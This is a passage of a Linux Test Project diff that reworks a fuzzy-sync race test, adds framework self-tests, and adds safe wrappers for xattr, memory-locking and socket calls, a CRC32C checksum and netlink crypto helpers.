-		if (!tst_fzsync_wait_b(&pair))
-			break;
+	for (i = 0; tst_fzsync_run_b(&pair); i++) {
+		tst_fzsync_start_race_b(&pair);
+		usleep(1);
+		last_wins = 'B';
+		tst_fzsync_end_race_b(&pair);
 		seq[seq_n] = 'B';
 		seq_n = (i + 1) * 2 % (int)LOOPS * 2;
 	}
 
-	if (i > LOOPS * iterations)
-		tst_res(TWARN, "Worker performed too many iterations: %lld > %lld",
-			i, LOOPS * iterations);
+	if (i != LOOPS) {
+		tst_res(TFAIL,
+			"Worker performed wrong number of iterations: %lld != %lld",
+			i, LOOPS);
+	}
 
 	return NULL;
 }
 
-static void setup(void)
-{
-	SAFE_PTHREAD_CREATE(&thrd, NULL, worker, NULL);
-}
-
 static void run(void)
 {
-	unsigned int i, j, fail = 0;
+	unsigned int i, j, fail = 0, lost_race = 0;
 
-	for (i = 0; i < LOOPS; i++) {
-		tst_fzsync_wait_update_a(&pair);
-		tst_fzsync_delay_a(&pair);
+	tst_fzsync_pair_reset(&pair, worker);
+	for (i = 0; tst_fzsync_run_a(&pair); i++) {
+		tst_fzsync_start_race_a(&pair);
 		seq[seq_n] = 'A';
 		seq_n = i * 2 + 1;
-		tst_fzsync_time_a(&pair);
-		if (!tst_fzsync_wait_a(&pair))
-			break;
+		last_wins = 'A';
+		tst_fzsync_end_race_a(&pair);
+		if (last_wins == 'B')
+			lost_race++;
 	}
 
 	tst_res(TINFO, "Checking sequence...");
@@ -93,16 +96,15 @@
 	if (!fail)
 		tst_res(TPASS, "Sequence is correct");
 
-	if (labs(pair.delay) > 1000)
-		tst_res(TFAIL, "Delay is suspiciously large");
-
-	iterations++;
+	if (lost_race < 100)
+		tst_res(TFAIL, "A only lost the race %d times", lost_race);
+	else
+		tst_res(TPASS, "A lost the race %d times", lost_race);
 }
 
 static void cleanup(void)
 {
-	tst_fzsync_pair_exit(&pair);
-	SAFE_PTHREAD_JOIN(thrd, NULL);
+	tst_fzsync_pair_cleanup(&pair);
 }
 
 static struct tst_test test = {
diff --git a/lib/newlib_tests/test18.c b/lib/newlib_tests/test18.c
new file mode 100644
index 0000000..6615471
--- /dev/null
+++ b/lib/newlib_tests/test18.c
@@ -0,0 +1,34 @@
+/*
+ * Copyright (c) 2018, Linux Test Project
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <stdlib.h>
+#include <unistd.h>
+#include "tst_test.h"
+
+static void run(void)
+{
+	do {
+		sleep(1);
+	} while (tst_timeout_remaining() >= 4);
+
+	tst_res(TPASS, "Timeout remaining: %d", tst_timeout_remaining());
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.timeout = 5
+};
diff --git a/lib/newlib_tests/test19.c b/lib/newlib_tests/test19.c
new file mode 100644
index 0000000..b15470f
--- /dev/null
+++ b/lib/newlib_tests/test19.c
@@ -0,0 +1,46 @@
+/*
+ * Copyright (c) 2018, Linux Test Project
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <stdlib.h>
+#include <unistd.h>
+#include "tst_test.h"
+#include "tst_sys_conf.h"
+
+static const char * const save_restore[] = {
+	"?/proc/nonexistent",
+	"!/proc/sys/kernel/numa_balancing",
+	"/proc/sys/kernel/core_pattern",
+	NULL,
+};
+
+static void setup(void)
+{
+	SAFE_FILE_PRINTF("/proc/sys/kernel/core_pattern", "changed");
+	tst_sys_conf_dump();
+}
+
+static void run(void)
+{
+	tst_res(TPASS, "OK");
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.test_all = run,
+	.setup = setup,
+	.save_restore = save_restore,
+};
diff --git a/lib/newlib_tests/test_exec.c b/lib/newlib_tests/test_exec.c
new file mode 100644
index 0000000..2c86568
--- /dev/null
+++ b/lib/newlib_tests/test_exec.c
@@ -0,0 +1,47 @@
+/*
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation,
+ * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+/*
+ * Assert that tst_res() from child started by exec() is propagated to the main
+ * test process.
+ *
+ * This test should be executed as:
+ * $ PATH=$PATH:$PWD ./test_exec
+ */
+
+#define _GNU_SOURCE
+#include <unistd.h>
+#include "tst_test.h"
+
+static void do_test(void)
+{
+	char *const argv[] = {"test_exec_child", NULL};
+	char path[4096];
+
+	if (tst_get_path("test_exec_child", path, sizeof(path)))
+		tst_brk(TCONF, "Couldn't find test_exec_child in $PATH");
+
+	execve(path, argv, environ);
+
+	tst_res(TBROK | TERRNO, "EXEC!");
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.child_needs_reinit = 1,
+};
diff --git a/lib/newlib_tests/test_exec_child.c b/lib/newlib_tests/test_exec_child.c
new file mode 100644
index 0000000..696ff5b
--- /dev/null
+++ b/lib/newlib_tests/test_exec_child.c
@@ -0,0 +1,27 @@
+/*
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation,
+ * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+
+int main(void)
+{
+	tst_reinit();
+	tst_res(TPASS, "Child passed!");
+	return 0;
+}
diff --git a/lib/newlib_tests/tst_expiration_timer.c b/lib/newlib_tests/tst_expiration_timer.c
new file mode 100644
index 0000000..2543d53
--- /dev/null
+++ b/lib/newlib_tests/tst_expiration_timer.c
@@ -0,0 +1,45 @@
+/*
+ * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation,
+ * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+/*
+ * Test for expiration timer the test should run for roughly 5 seconds
+ * when executed as time ./tst_expiration_timer
+ */
+
+#include "tst_test.h"
+#include "tst_timer.h"
+
+static void do_test(void)
+{
+	tst_timer_start(CLOCK_MONOTONIC);
+
+	while (!tst_timer_expired_ms(5000))
+		usleep(1);
+
+	tst_res(TPASS, "All done!");
+}
+
+static void setup(void)
+{
+	tst_timer_check(CLOCK_MONOTONIC);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = do_test,
+};
diff --git a/lib/parse_opts.c b/lib/parse_opts.c
index 3a879e4..a9d5058 100644
--- a/lib/parse_opts.c
+++ b/lib/parse_opts.c
@@ -39,12 +39,13 @@
 #include <sys/signal.h>
 #include <sys/types.h>
 #include <unistd.h>
-#include <sys/time.h>
+#include <time.h>
 #include <stdint.h>
 
 #include "test.h"
 #include "ltp_priv.h"
 #include "usctest.h"
+#include "tst_clocks.h"
 
 #ifndef UNIT_TEST
 #define UNIT_TEST	0
@@ -467,16 +468,13 @@
 
 #define USECS_PER_SEC	1000000	/* microseconds per second */
 
-/***********************************************************************
- * Returns current time in microseconds since 1970.
- ***********************************************************************/
 static uint64_t get_current_time(void)
 {
-	struct timeval curtime;
+	struct timespec ts;
 
-	gettimeofday(&curtime, NULL);
+	tst_clock_gettime(CLOCK_MONOTONIC, &ts);
 
-	return (((uint64_t) curtime.tv_sec) * USECS_PER_SEC) + curtime.tv_usec;
+	return (((uint64_t) ts.tv_sec) * USECS_PER_SEC) + ts.tv_nsec / 1000;
 }
 
 /***********************************************************************
@@ -565,7 +563,6 @@
 }
 
 #if UNIT_TEST
-#include <time.h>
 
 /******************************************************************************
  * UNIT TEST CODE
diff --git a/lib/safe_macros.c b/lib/safe_macros.c
index b5f63dc..046568e 100644
--- a/lib/safe_macros.c
+++ b/lib/safe_macros.c
@@ -711,6 +711,9 @@
 {
 	unsigned int i;
 
+	if (!fs_type)
+		return 0;
+
 	for (i = 0; i < ARRAY_SIZE(fuse_fs_types); i++) {
 		if (!strcmp(fuse_fs_types[i].fs_type, fs_type))
 			return &fuse_fs_types[i];
@@ -847,6 +850,28 @@
 	return rval;
 }
 
+ssize_t safe_getxattr(const char *file, const int lineno, const char *path,
+		      const char *name, void *value, size_t size)
+{
+	ssize_t rval;
+
+	rval = getxattr(path, name, value, size);
+
+	if (rval == -1) {
+		if (errno == ENOTSUP) {
+			tst_brkm(TCONF, NULL,
+				 "%s:%d: no xattr support in fs or mounted "
+				 "without user_xattr option", file, lineno);
+		}
+
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: getxattr(%s, %s, %p, %zu) failed",
+			 file, lineno, path, name, value, size);
+	}
+
+	return rval;
+}
+
 int safe_setxattr(const char *file, const int lineno, const char *path,
 		  const char *name, const void *value, size_t size, int flags)
 {
@@ -861,8 +886,9 @@
 				 "without user_xattr option", file, lineno);
 		}
 
-		tst_brkm(TBROK | TERRNO, NULL, "%s:%d: setxattr() failed",
-			     file, lineno);
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: setxattr(%s, %s, %p, %zu) failed",
+			 file, lineno, path, name, value, size);
 	}
 
 	return rval;
@@ -882,8 +908,9 @@
 				 "without user_xattr option", file, lineno);
 		}
 
-		tst_brkm(TBROK | TERRNO, NULL, "%s:%d: lsetxattr() failed",
-			     file, lineno);
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: lsetxattr(%s, %s, %p, %zu, %i) failed",
+			 file, lineno, path, name, value, size, flags);
 	}
 
 	return rval;
@@ -903,8 +930,9 @@
 				 "without user_xattr option", file, lineno);
 		}
 
-		tst_brkm(TBROK | TERRNO, NULL, "%s:%d: fsetxattr() failed",
-			     file, lineno);
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: fsetxattr(%i, %s, %p, %zu, %i) failed",
+			 file, lineno, fd, name, value, size, flags);
 	}
 
 	return rval;
@@ -924,8 +952,53 @@
 				"without user_xattr option", file, lineno);
 		}
 
-		tst_brkm(TBROK | TERRNO, NULL, "%s:%d: removexattr() failed",
-			file, lineno);
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: removexattr(%s, %s) failed",
+			 file, lineno, path, name);
+	}
+
+	return rval;
+}
+
+int safe_lremovexattr(const char *file, const int lineno, const char *path,
+		const char *name)
+{
+	int rval;
+
+	rval = lremovexattr(path, name);
+
+	if (rval) {
+		if (errno == ENOTSUP) {
+			tst_brkm(TCONF, NULL,
+				"%s:%d: no xattr support in fs or mounted "
+				"without user_xattr option", file, lineno);
+		}
+
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: lremovexattr(%s, %s) failed",
+			 file, lineno, path, name);
+	}
+
+	return rval;
+}
+
+int safe_fremovexattr(const char *file, const int lineno, int fd,
+		const char *name)
+{
+	int rval;
+
+	rval = fremovexattr(fd, name);
+
+	if (rval) {
+		if (errno == ENOTSUP) {
+			tst_brkm(TCONF, NULL,
+				"%s:%d: no xattr support in fs or mounted "
+				"without user_xattr option", file, lineno);
+		}
+
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: fremovexattr(%i, %s) failed",
+			 file, lineno, fd, name);
 	}
 
 	return rval;
@@ -971,3 +1044,45 @@
 
 	return rval;
 }
+
+int safe_mlock(const char *file, const int lineno, const void *addr,
+	size_t len)
+{
+	int rval;
+
+	rval = mlock(addr, len);
+	if (rval == -1) {
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: mlock() failed", file, lineno);
+	}
+
+	return rval;
+}
+
+int safe_munlock(const char *file, const int lineno, const void *addr,
+	size_t len)
+{
+	int rval;
+
+	rval = munlock(addr, len);
+	if (rval == -1) {
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: munlock() failed", file, lineno);
+	}
+
+	return rval;
+}
+
+int safe_mincore(const char *file, const int lineno, void *start,
+	size_t length, unsigned char *vec)
+{
+	int rval;
+
+	rval = mincore(start, length, vec);
+	if (rval == -1) {
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: mincore() failed", file, lineno);
+	}
+
+	return rval;
+}
diff --git a/lib/safe_net.c b/lib/safe_net.c
index e48b06d..64e2cbc 100644
--- a/lib/safe_net.c
+++ b/lib/safe_net.c
@@ -81,15 +81,50 @@
 	}
 }
 
+int tst_getsockport(const char *file, const int lineno, int sockfd)
+{
+	struct sockaddr_storage ss;
+	socklen_t addrlen = sizeof(ss);
+	struct sockaddr *sa = (struct sockaddr *)&ss;
+
+	safe_getsockname(file, lineno, NULL, sockfd, sa, &addrlen);
+
+	switch (sa->sa_family) {
+	case AF_INET: {
+		struct sockaddr_in *sin = (struct sockaddr_in *)sa;
+
+		return ntohs(sin->sin_port);
+	}
+	case AF_INET6: {
+		struct sockaddr_in6 *sin6 = (struct sockaddr_in6 *)sa;
+
+		return ntohs(sin6->sin6_port);
+	} }
+
+	return -1;
+}
+
 int safe_socket(const char *file, const int lineno, void (cleanup_fn)(void),
 		int domain, int type, int protocol)
 {
-	int rval;
+	int rval, ttype;
 
 	rval = socket(domain, type, protocol);
 
 	if (rval < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup_fn,
+		switch (errno) {
+		case EPROTONOSUPPORT:
+		case ESOCKTNOSUPPORT:
+		case EOPNOTSUPP:
+		case EPFNOSUPPORT:
+		case EAFNOSUPPORT:
+			ttype = TCONF;
+			break;
+		default:
+			ttype = TBROK;
+		}
+
+		tst_brkm(ttype | TERRNO, cleanup_fn,
 			 "%s:%d: socket(%d, %d, %d) failed", file, lineno,
 			 domain, type, protocol);
 	}
@@ -97,6 +132,21 @@
 	return rval;
 }
 
+int safe_getsockopt(const char *file, const int lineno, int sockfd, int level,
+		    int optname, void *optval, socklen_t *optlen)
+{
+	int rval = getsockopt(sockfd, level, optname, optval, optlen);
+
+	if (!rval)
+		return 0;
+
+	tst_brkm(TBROK | TERRNO, NULL,
+		 "%s:%d: getsockopt(%d, %d, %d, %p, %p) failed",
+		 file, lineno, sockfd, level, optname, optval, optlen);
+
+	return rval;
+}
+
 int safe_setsockopt(const char *file, const int lineno, int sockfd, int level,
 		    int optname, const void *optval, socklen_t optlen)
 {
@@ -149,6 +199,51 @@
 	return rval;
 }
 
+ssize_t safe_sendmsg(const char *file, const int lineno, size_t len,
+		     int sockfd, const struct msghdr *msg, int flags)
+{
+	ssize_t rval;
+
+	rval = sendmsg(sockfd, msg, flags);
+
+	if (rval == -1) {
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: sendmsg(%d, %p, %d) failed",
+			 file, lineno, sockfd, msg, flags);
+	}
+
+	if (len && (size_t)rval != len) {
+		tst_brkm(TBROK, NULL,
+			 "%s:%d: sendmsg(%d, %p, %d) ret(%zd) != len(%zu)",
+			 file, lineno, sockfd, msg, flags, rval, len);
+	}
+
+	return rval;
+}
+
+ssize_t safe_recvmsg(const char *file, const int lineno, size_t len,
+		     int sockfd, struct msghdr *msg, int flags)
+{
+	ssize_t rval;
+
+	rval = recvmsg(sockfd, msg, flags);
+
+	if (rval == -1) {
+		tst_brkm(TBROK | TERRNO, NULL,
+			 "%s:%d: recvmsg(%d, %p, %d) failed",
+			 file, lineno, sockfd, msg, flags);
+	}
+
+	if (len && (size_t)rval != len) {
+		tst_brkm(TBROK, NULL,
+			 "%s:%d: recvmsg(%d, %p, %d) ret(%zd) != len(%zu)",
+			 file, lineno, sockfd, msg, flags, rval, len);
+	}
+
+	return rval;
+
+}
+
 int safe_bind(const char *file, const int lineno, void (cleanup_fn)(void),
 	      int socket, const struct sockaddr *address,
 	      socklen_t address_len)
diff --git a/lib/tests/trerrno.c b/lib/tests/trerrno.c
index 49d50e9..a160874 100644
--- a/lib/tests/trerrno.c
+++ b/lib/tests/trerrno.c
@@ -57,7 +57,7 @@
 	TEST_ERRNO = EPERM;
 	TEST_RETURN = EINVAL;
 	tst_resm(TINFO | TRERRNO, "test");
-	tst_flush();
+	tst_old_flush();
 
 	/* restore stdout */
 	TEST(dup2(stdout_fd, fileno(stdout)));
diff --git a/lib/tst_checksum.c b/lib/tst_checksum.c
new file mode 100644
index 0000000..903bf3d
--- /dev/null
+++ b/lib/tst_checksum.c
@@ -0,0 +1,81 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/* Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved. */
+
+#include "tst_checksum.h"
+
+static const uint32_t crc32c_table[] = {
+	0x00000000, 0xf26b8303, 0xe13b70f7, 0x1350f3f4,
+	0xc79a971f, 0x35f1141c, 0x26a1e7e8, 0xd4ca64eb,
+	0x8ad958cf, 0x78b2dbcc, 0x6be22838, 0x9989ab3b,
+	0x4d43cfd0, 0xbf284cd3, 0xac78bf27, 0x5e133c24,
+	0x105ec76f, 0xe235446c, 0xf165b798, 0x030e349b,
+	0xd7c45070, 0x25afd373, 0x36ff2087, 0xc494a384,
+	0x9a879fa0, 0x68ec1ca3, 0x7bbcef57, 0x89d76c54,
+	0x5d1d08bf, 0xaf768bbc, 0xbc267848, 0x4e4dfb4b,
+	0x20bd8ede, 0xd2d60ddd, 0xc186fe29, 0x33ed7d2a,
+	0xe72719c1, 0x154c9ac2, 0x061c6936, 0xf477ea35,
+	0xaa64d611, 0x580f5512, 0x4b5fa6e6, 0xb93425e5,
+	0x6dfe410e, 0x9f95c20d, 0x8cc531f9, 0x7eaeb2fa,
+	0x30e349b1, 0xc288cab2, 0xd1d83946, 0x23b3ba45,
+	0xf779deae, 0x05125dad, 0x1642ae59, 0xe4292d5a,
+	0xba3a117e, 0x4851927d, 0x5b016189, 0xa96ae28a,
+	0x7da08661, 0x8fcb0562, 0x9c9bf696, 0x6ef07595,
+	0x417b1dbc, 0xb3109ebf, 0xa0406d4b, 0x522bee48,
+	0x86e18aa3, 0x748a09a0, 0x67dafa54, 0x95b17957,
+	0xcba24573, 0x39c9c670, 0x2a993584, 0xd8f2b687,
+	0x0c38d26c, 0xfe53516f, 0xed03a29b, 0x1f682198,
+	0x5125dad3, 0xa34e59d0, 0xb01eaa24, 0x42752927,
+	0x96bf4dcc, 0x64d4cecf, 0x77843d3b, 0x85efbe38,
+	0xdbfc821c, 0x2997011f, 0x3ac7f2eb, 0xc8ac71e8,
+	0x1c661503, 0xee0d9600, 0xfd5d65f4, 0x0f36e6f7,
+	0x61c69362, 0x93ad1061, 0x80fde395, 0x72966096,
+	0xa65c047d, 0x5437877e, 0x4767748a, 0xb50cf789,
+	0xeb1fcbad, 0x197448ae, 0x0a24bb5a, 0xf84f3859,
+	0x2c855cb2, 0xdeeedfb1, 0xcdbe2c45, 0x3fd5af46,
+	0x7198540d, 0x83f3d70e, 0x90a324fa, 0x62c8a7f9,
+	0xb602c312, 0x44694011, 0x5739b3e5, 0xa55230e6,
+	0xfb410cc2, 0x092a8fc1, 0x1a7a7c35, 0xe811ff36,
+	0x3cdb9bdd, 0xceb018de, 0xdde0eb2a, 0x2f8b6829,
+	0x82f63b78, 0x709db87b, 0x63cd4b8f, 0x91a6c88c,
+	0x456cac67, 0xb7072f64, 0xa457dc90, 0x563c5f93,
+	0x082f63b7, 0xfa44e0b4, 0xe9141340, 0x1b7f9043,
+	0xcfb5f4a8, 0x3dde77ab, 0x2e8e845f, 0xdce5075c,
+	0x92a8fc17, 0x60c37f14, 0x73938ce0, 0x81f80fe3,
+	0x55326b08, 0xa759e80b, 0xb4091bff, 0x466298fc,
+	0x1871a4d8, 0xea1a27db, 0xf94ad42f, 0x0b21572c,
+	0xdfeb33c7, 0x2d80b0c4, 0x3ed04330, 0xccbbc033,
+	0xa24bb5a6, 0x502036a5, 0x4370c551, 0xb11b4652,
+	0x65d122b9, 0x97baa1ba, 0x84ea524e, 0x7681d14d,
+	0x2892ed69, 0xdaf96e6a, 0xc9a99d9e, 0x3bc21e9d,
+	0xef087a76, 0x1d63f975, 0x0e330a81, 0xfc588982,
+	0xb21572c9, 0x407ef1ca, 0x532e023e, 0xa145813d,
+	0x758fe5d6, 0x87e466d5, 0x94b49521, 0x66df1622,
+	0x38cc2a06, 0xcaa7a905, 0xd9f75af1, 0x2b9cd9f2,
+	0xff56bd19, 0x0d3d3e1a, 0x1e6dcdee, 0xec064eed,
+	0xc38d26c4, 0x31e6a5c7, 0x22b65633, 0xd0ddd530,
+	0x0417b1db, 0xf67c32d8, 0xe52cc12c, 0x1747422f,
+	0x49547e0b, 0xbb3ffd08, 0xa86f0efc, 0x5a048dff,
+	0x8ecee914, 0x7ca56a17, 0x6ff599e3, 0x9d9e1ae0,
+	0xd3d3e1ab, 0x21b862a8, 0x32e8915c, 0xc083125f,
+	0x144976b4, 0xe622f5b7, 0xf5720643, 0x07198540,
+	0x590ab964, 0xab613a67, 0xb831c993, 0x4a5a4a90,
+	0x9e902e7b, 0x6cfbad78, 0x7fab5e8c, 0x8dc0dd8f,
+	0xe330a81a, 0x115b2b19, 0x020bd8ed, 0xf0605bee,
+	0x24aa3f05, 0xd6c1bc06, 0xc5914ff2, 0x37faccf1,
+	0x69e9f0d5, 0x9b8273d6, 0x88d28022, 0x7ab90321,
+	0xae7367ca, 0x5c18e4c9, 0x4f48173d, 0xbd23943e,
+	0xf36e6f75, 0x0105ec76, 0x12551f82, 0xe03e9c81,
+	0x34f4f86a, 0xc69f7b69, 0xd5cf889d, 0x27a40b9e,
+	0x79b737ba, 0x8bdcb4b9, 0x988c474d, 0x6ae7c44e,
+	0xbe2da0a5, 0x4c4623a6, 0x5f16d052, 0xad7d5351,
+};
+
+uint32_t tst_crc32c(uint8_t *buf, size_t buf_len)
+{
+	uint32_t crc = 0xffffffff;
+
+	while (buf_len--)
+		crc = crc32c_table[(crc ^ (*buf++)) & 0xff] ^ (crc >> 8);
+
+	return ~crc;
+}
diff --git a/lib/tst_crypto.c b/lib/tst_crypto.c
new file mode 100644
index 0000000..37d5eb7
--- /dev/null
+++ b/lib/tst_crypto.c
@@ -0,0 +1,122 @@
+/*
+ * Copyright (c) 2018 Richard Palethorpe <rpalethorpe@suse.com>
+ *                    Nicolai Stange <nstange@suse.de>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#include <errno.h>
+#include <stdio.h>
+
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+#include "tst_crypto.h"
+#include "tst_netlink.h"
+
+void tst_crypto_open(struct tst_crypto_session *ses)
+{
+	TEST(socket(AF_NETLINK, SOCK_DGRAM, NETLINK_CRYPTO));
+	if (TST_RET < 0 && TST_ERR == EPROTONOSUPPORT)
+		tst_brk(TCONF | TTERRNO, "NETLINK_CRYPTO is probably disabled");
+
+	if (TST_RET < 0) {
+		tst_brk(TBROK | TTERRNO,
+			"socket(AF_NETLINK, SOCK_DGRAM, NETLINK_CRYPTO)");
+	}
+
+	ses->fd = TST_RET;
+	ses->seq_num = 0;
+}
+
+void tst_crypto_close(struct tst_crypto_session *ses)
+{
+	SAFE_CLOSE(ses->fd);
+}
+
+static int tst_crypto_recv_ack(struct tst_crypto_session *ses)
+{
+	uint32_t len;
+	char buf[BUFSIZ];
+	struct nlmsghdr *nh;
+
+	len = SAFE_NETLINK_RECV(ses->fd, buf, sizeof(buf));
+
+	for (nh = (struct nlmsghdr *) buf;
+	     NLMSG_OK(nh, len);
+	     nh = NLMSG_NEXT(nh, len)) {
+		if (nh->nlmsg_seq != ses->seq_num) {
+			tst_brk(TBROK,
+				"Message out of sequence; type=0%hx, seq_num=%u (not %u)",
+				nh->nlmsg_type, nh->nlmsg_seq, ses->seq_num);
+		}
+
+		/* Acks use the error message type with error number set to
+		 * zero. Ofcourse we could also receive an actual error.
+		 */
+		if (nh->nlmsg_type == NLMSG_ERROR)
+			return ((struct nlmsgerr *)NLMSG_DATA(nh))->error;
+
+		tst_brk(TBROK, "Unexpected message type; type=0x%hx, seq_num=%u",
+			nh->nlmsg_type, nh->nlmsg_seq);
+	}
+
+	tst_brk(TBROK, "Empty message from netlink socket?");
+
+	return ENODATA;
+}
+
+int tst_crypto_add_alg(struct tst_crypto_session *ses,
+		       const struct crypto_user_alg *alg)
+{
+	struct nlmsghdr nh = {
+		.nlmsg_len = sizeof(struct nlmsghdr) + sizeof(*alg),
+		.nlmsg_type = CRYPTO_MSG_NEWALG,
+		.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK,
+		.nlmsg_seq = ++(ses->seq_num),
+		.nlmsg_pid = 0,
+	};
+
+	SAFE_NETLINK_SEND(ses->fd, &nh, alg);
+
+	return tst_crypto_recv_ack(ses);
+}
+
+int tst_crypto_del_alg(struct tst_crypto_session *ses,
+		       const struct crypto_user_alg *alg)
+{
+	unsigned int i = 0;
+	struct nlmsghdr nh = {
+		.nlmsg_len = sizeof(struct nlmsghdr) + sizeof(*alg),
+		.nlmsg_type = CRYPTO_MSG_DELALG,
+		.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK,
+		.nlmsg_pid = 0,
+	};
+
+	while (1) {
+		nh.nlmsg_seq = ++(ses->seq_num),
+
+		SAFE_NETLINK_SEND(ses->fd, &nh, alg);
+
+		TEST(tst_crypto_recv_ack(ses));
+		if (TST_RET != -EBUSY || i >= ses->retries)
+			break;
+
+		if (usleep(1) && errno != EINTR)
+			tst_brk(TBROK | TERRNO, "usleep(1)");
+
+		++i;
+	}
+
+	return TST_RET;
+}
diff --git a/lib/tst_device.c b/lib/tst_device.c
index edfacbd..65fcc13 100644
--- a/lib/tst_device.c
+++ b/lib/tst_device.c
@@ -45,6 +45,7 @@
 
 static char dev_path[1024];
 static int device_acquired;
+static unsigned long prev_dev_sec_write;
 
 static const char *dev_variants[] = {
 	"/dev/loop%i",
@@ -268,7 +269,7 @@
 				ltp_dev_size, acq_dev_size);
 	}
 
-	if (tst_fill_file(DEV_FILE, 0, 1024, 1024 * acq_dev_size)) {
+	if (tst_fill_file(DEV_FILE, 0, 1024 * 1024, acq_dev_size)) {
 		tst_resm(TWARN | TERRNO, "Failed to create " DEV_FILE);
 		return NULL;
 	}
@@ -313,7 +314,7 @@
 {
 	int ret;
 
-	if (getenv("LTP_DEV"))
+	if (!device_acquired)
 		return 0;
 
 	/*
@@ -364,3 +365,31 @@
 	errno = err;
 	return -1;
 }
+
+unsigned long tst_dev_bytes_written(const char *dev)
+{
+	struct stat st;
+	unsigned long dev_sec_write = 0, dev_bytes_written, io_ticks = 0;
+	char dev_stat_path[1024];
+
+	snprintf(dev_stat_path, sizeof(dev_stat_path), "/sys/block/%s/stat",
+		 strrchr(dev, '/') + 1);
+
+	if (stat(dev_stat_path, &st) != 0)
+		tst_brkm(TCONF, NULL, "Test device stat file: %s not found",
+			 dev_stat_path);
+
+	SAFE_FILE_SCANF(NULL, dev_stat_path,
+			"%*s %*s %*s %*s %*s %*s %lu %*s %*s %lu",
+			&dev_sec_write, &io_ticks);
+
+	if (!io_ticks)
+		tst_brkm(TCONF, NULL, "Test device stat file: %s broken",
+			 dev_stat_path);
+
+	dev_bytes_written = (dev_sec_write - prev_dev_sec_write) * 512;
+
+	prev_dev_sec_write = dev_sec_write;
+
+	return dev_bytes_written;
+}
diff --git a/lib/tst_fill_file.c b/lib/tst_fill_file.c
index 7baead8..f2bc52d 100644
--- a/lib/tst_fill_file.c
+++ b/lib/tst_fill_file.c
@@ -28,40 +28,46 @@
 
 #include "test.h"
 
-int tst_fill_file(const char *path, char pattern, size_t bs, size_t bcount)
